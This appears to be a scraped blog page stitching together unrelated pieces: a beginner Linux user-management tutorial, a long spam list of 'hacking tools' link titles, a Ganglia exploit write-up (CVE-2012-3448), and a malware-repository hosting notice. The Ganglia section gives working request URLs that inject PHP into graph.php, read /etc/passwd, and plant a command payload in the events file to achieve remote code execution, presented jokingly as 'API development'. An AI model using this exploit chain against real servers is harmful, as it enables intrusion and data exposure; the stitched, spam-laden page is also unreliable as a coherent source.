8/25/2020

Linux Command Line Hackery Series - Part 6


Welcome back to Linux Command Line Hackery series, I hope you've enjoyed this series so far and would have learned something (at least a bit). Today we're going to get into user management, that is we are going to learn commands that will help us add and remove users and groups. So bring it on...

Before we get into adding new users to our system lets first talk about a command that will be useful if you are a non-root user.

Command: sudo
Syntax: sudo [options] command
Description: sudo allows a permitted user to execute a command as a superuser or another user.

Since the commands to follow need root privileges, if you are not root then don't forget to prefix these commands with sudo command. And yes you'll need to enter the root password in order to execute any command with sudo as root.

Command: useradd
Syntax: useradd [options] username
Description: this command is used for creating new user but is kinda old school.
Lets try to add a new user to our box.
[Note: I'm performing these commands as root user, you'll need root privileges to add a new user to your box. If you aren't root then you can try these commands by prefixing the sudo command at the very beginning of these command like this sudo useradd joe. You'll be prompted for your root password, enter it and you're good to go]

useradd joe

To verify that this command has really added a user to our box we can look at three files that store a users data on a Linux box, which are:

/etc/passwd -> this file stores information about a user separated by colons in this manner, first is login name, then in past there used to be an encrypted password hash at the second place however since the password hashes were moved to shadow file now it has a cross (x) there, then there is user id, after it is the user's group id, following it is a comment field, then the next field contains users home directory, and at last is the login shell of the user.

/etc/group  -> this file stores information about groups, that is id of the group and to which group an user belongs.

/etc/shadow -> this file stores the encrypted password of users.

Using our command line techniques we learned so far lets check out these files and verify if our user has been created:

cat /etc/passwd /etc/group /etc/shadow | grep joe



In the above screenshot you can notice an ! in the /etc/shadow, this means the password of this user has not been set yet. That means we have to set the password of user joe manually, lets do just that.

Command: passwd
Syntax: passwd [options] [username]
Description: this command is used to change the password of user accounts.
Note that this command needs root privileges. So if you are not root then prefix this command with sudo.

passwd joe



After typing this command, you'll be prompted password and then for verifying your password. The password won't show up on the terminal.
Now joe's account is up and running with a password.

The useradd command is a old school command, lets create a new user with a different command which is kinda interactive.

Command: adduser
Syntax: adduser [options] user
Description: adduser command adds a user to the system. It is more friendly front-end to the useradd command.

So lets create a new user with adduser.

adduser jane



as seen in the image it prompts for password, full name and many other things and thus is easy to use.

OK now we know how to create a user its time to create a group which is very easy.

Command: addgroup
Syntax: addgroup [options] groupname
Description: This command is used to create a new group or add an existing user to an existing group.

We create a new group like this

addgroup grownups



So now we have a group called grownups, you can verify it by looking at /etc/group file.
Since joe is not a grownup user yet but jane is we'll add jane to grownups group like this:

addgroup jane grownups



Now jane is the member of grownups.

Its time to learn how to remove a user from our system and how to remove a group from the system, lets get straight to that.

Command: deluser
Syntax: deluser [options] username
Description: remove a user from system.

Lets remove joe from our system

deluser joe

Yes its as easy as that. But remember by default deluser will remove the user without removing the home directory or any other files owned by the user. Removing the home directory can be achieved by using the --remove-home option.

deluser jane --remove-home

Also the --remove-all-files option removes all the files from the system owned by the user (better watch-out). And to create a backup of all the files before deleting use the --backup option.

We don't need grownups group so lets remove it.

Command: delgroup
Syntax: delgroup [options] groupname
Description: remove a group from the system.

To remove grownups group just type:

delgroup grownups



That's it for today hope you got something in your head.

Related posts


  1. Underground Hacker Sites
  2. Pentest Tools Review
  3. Hacking Tools Hardware
  4. How To Install Pentest Tools In Ubuntu
  5. Hacking Tools Github
  6. What Are Hacking Tools
  7. Hacking Tools Kit
  8. Hacker Tools Apk
  9. New Hack Tools
  10. Hacking Tools For Pc
  11. Best Hacking Tools 2020
  12. Hacker Tools Mac
  13. Hacker Tools Free Download
  14. Hacker Tools For Ios
  15. New Hacker Tools
  16. Hacking App
  17. Free Pentest Tools For Windows
  18. Hackrf Tools
  19. Pentest Tools Linux
  20. Ethical Hacker Tools
  21. Hacker Tools Github
  22. Hacker Search Tools
  23. Hack Tools 2019
  24. Hack And Tools
  25. Pentest Tools Github
  26. Hacking Tools Pc
  27. Hacking Tools Download
  28. Hack Tools 2019
  29. Nsa Hacker Tools
  30. Hack Tools Mac
  31. Usb Pentest Tools
  32. Hacks And Tools
  33. Hack And Tools
  34. Hacker Tools Mac
  35. Hacker Tools Windows
  36. Hacker Tools Free
  37. Pentest Tools Nmap
  38. Hack Tools For Games
  39. Termux Hacking Tools 2019
  40. Pentest Tools Find Subdomains
  41. Hacker Tools For Mac
  42. Hack Website Online Tool
  43. Hack Website Online Tool
  44. Hacking Tools 2019
  45. Hacking Tools Windows
  46. Install Pentest Tools Ubuntu
  47. Pentest Reporting Tools
  48. Hacker Tools Free Download
  49. How To Make Hacking Tools
  50. Pentest Tools Open Source
  51. Hack Tool Apk
  52. Pentest Tools Download
  53. Hack Tools Download
  54. Pentest Tools Subdomain
  55. Install Pentest Tools Ubuntu
  56. Hack Tools For Mac
  57. Physical Pentest Tools
  58. Pentest Tools For Android
  59. Hacker Tools Free Download
  60. Bluetooth Hacking Tools Kali
  61. Kik Hack Tools
  62. Tools Used For Hacking
  63. Hacker Tools For Pc
  64. Pentest Tools Website Vulnerability
  65. Pentest Automation Tools
  66. Hack Tools
  67. Nsa Hack Tools Download
  68. Hack And Tools
  69. Install Pentest Tools Ubuntu
  70. Pentest Tools Github
  71. Tools 4 Hack
  72. What Are Hacking Tools
  73. Hacker
  74. Hacking Tools Free Download
  75. Hacking Tools Github
  76. Hack App
  77. Hacking Tools Github
  78. Pentest Tools For Ubuntu
  79. Pentest Tools Open Source
  80. Pentest Tools For Windows
  81. Hacking Tools Online
  82. Hacker Tools Free Download
  83. Hacking Tools Name
  84. Hack Tools For Pc
  85. Hackrf Tools
  86. Hacking Tools Mac
  87. Hacking Tools Usb
  88. Hack Tools For Ubuntu
  89. Hack Tools For Ubuntu
  90. How To Make Hacking Tools
  91. Pentest Tools List
  92. Pentest Tools Port Scanner
  93. Hacker Tools 2019
  94. Hacks And Tools
  95. Free Pentest Tools For Windows
  96. Hacker Security Tools
  97. Hacking Tools 2019
  98. Pentest Tools Subdomain
  99. What Are Hacking Tools
  100. Hacker Tools For Ios
  101. Pentest Tools Windows
  102. Usb Pentest Tools
  103. Pentest Tools Find Subdomains
  104. Hacker Tools For Windows
  105. Hacker Tools Windows
  106. Pentest Tools Tcp Port Scanner
  107. Hacker Tools For Pc
  108. Pentest Tools Bluekeep
  109. Hacker Tools Mac
  110. Hack Tool Apk No Root
  111. Hack Rom Tools
  112. Hacker Tools
  113. Hacker Tools Windows
  114. Hacker Tools 2019
  115. Pentest Tools For Android
  116. Pentest Tools Url Fuzzer
  117. Hack Tools Github
  118. Hacker Tools
  119. Hacker Tools Mac
  120. Hacker Tools For Pc
  121. Easy Hack Tools
  122. Nsa Hack Tools
  123. Best Pentesting Tools 2018
  124. Game Hacking
  125. Hack Tools
  126. Free Pentest Tools For Windows
  127. Bluetooth Hacking Tools Kali
  128. Pentest Tools For Ubuntu
  129. Hack Tools For Pc
  130. Hacker Tools For Windows
  131. Hacker Tools Hardware
  132. Pentest Tools Online
  133. Hacker Tools 2020
  134. Hack Apps
  135. Hacker Tools Windows
  136. Hack Tools

Extending Your Ganglia Install With The Remote Code Execution API

Previously I had gone over a somewhat limited local file include in the Ganglia monitoring application (http://ganglia.info). The previous article can be found here -
http://console-cowboys.blogspot.com/2012/01/ganglia-monitoring-system-lfi.html

I recently grabbed the latest version of the Ganglia web application to take a look to see if this issue has been fixed and I was pleasantly surprised... github is over here -
https://github.com/ganglia/ganglia-web
Looking at the code the following (abbreviated "graph.php") sequence can be found -

$graph = isset($_GET["g"])  ?  sanitize ( $_GET["g"] )   : "metric";
....
$graph_arguments = NULL;
$pos = strpos($graph, ",");
$graph_arguments = substr($graph, $pos + 1);
....
eval('$graph_function($rrdtool_graph,' . $graph_arguments . ');');


I can only guess that this previous snippet of code was meant to be used as some sort of API put in place for remote developers, unfortunately it is slightly broken. For some reason when this API was being developed part of its interface was wrapped in the following function -

function sanitize ( $string ) {
  return  escapeshellcmd( clean_string( rawurldecode( $string ) ) ) ;
}


According the the PHP documentation -
Following characters are preceded by a backslash: #&;`|*?~<>^()[]{}$\, \x0A and \xFF. ' and " are escaped only if they are not paired. In Windows, all these characters plus % are replaced by a space instead.


This limitation of the API means we cannot simply pass in a function like eval, exec, system, or use backticks to create our Ganglia extension. Our only option is to use PHP functions that do not require "(" or ")" a quick look at the available options (http://www.php.net/manual/en/reserved.keywords.php) it looks like "include" would work nicely. An example API request that would help with administrative reporting follows:
http://192.168.18.157/gang/graph.php?g=cpu_report,include+'/etc/passwd'

Very helpful, we can get a nice report with a list of current system users. Reporting like this is a nice feature but what we really would like to do is create a new extension that allows us to execute system commands on the Ganglia system. After a brief examination of the application it was found that we can leverage some other functionality of the application to finalize our Ganglia extension. The "events" page allows for a Ganglia user to configure events in the system, I am not exactly sure what type of events you would configure, but I hope that I am invited.
As you can see in the screen shot I have marked the "Event Summary" with "php here". When creating our API extension event we will fill in this event with the command we wish to run, see the following example request -
http://192.168.18.157/gang/api/events.php?action=add&summary=<%3fphp+echo+`whoami`%3b+%3f>&start_time=07/01/2012%2000:00%20&end_time=07/02/2012%2000:00%20&host_regex=

This request will set up an "event" that will let everyone know who you are, that would be the friendly thing to do when attending an event. We can now go ahead and wire up our API call to attend our newly created event. Since we know that Ganglia keeps track of all planned events in the following location "/var/lib/ganglia/conf/events.json" lets go ahead and include this file in our API call - 
http://192.168.18.157/gang/graph.php?g=cpu_report,include+'/var/lib/ganglia/conf/events.json'


As you can see we have successfully made our API call and let everyone know at the "event" that our name is "www-data". From here I will leave the rest of the API development up to you. I hope this article will get you started on your Ganglia API development and you are able to implement whatever functionality your environment requires. Thanks for following along.

Update: This issue has been assigned CVE-2012-3448
Continue reading

Files Download Information




After 7 years of Contagio existence, Google Safe Browsing services notified Mediafire (hoster of Contagio and Contagiominidump files) that "harmful" content is hosted on my Mediafire account.

It is harmful only if you harm your own pc and but not suitable for distribution or infecting unsuspecting users but I have not been able to resolve this with Google and Mediafire.

Mediafire suspended public access to Contagio account.

The file hosting will be moved.

If you need any files now, email me the posted Mediafire links (address in profile) and I will pull out the files and share via other methods.

P.S. I have not been able to resolve "yet" because it just happened today, not because they refuse to help.  I don't want to affect Mediafire safety reputation and most likely will have to move out this time.

The main challenge is not to find hosting, it is not difficult and I can pay for it, but the effort move all files and fix the existing links on the Blogpost, and there are many. I planned to move out long time ago but did not have time for it. If anyone can suggest how to change all Blogspot links in bulk, I will be happy.


P.P.S. Feb. 24 - The files will be moved to a Dropbox Business account and shared from there (Dropbox team confirmed they can host it )  


The transition will take some time, so email me links to what you need. 

Thank you all
M
Read more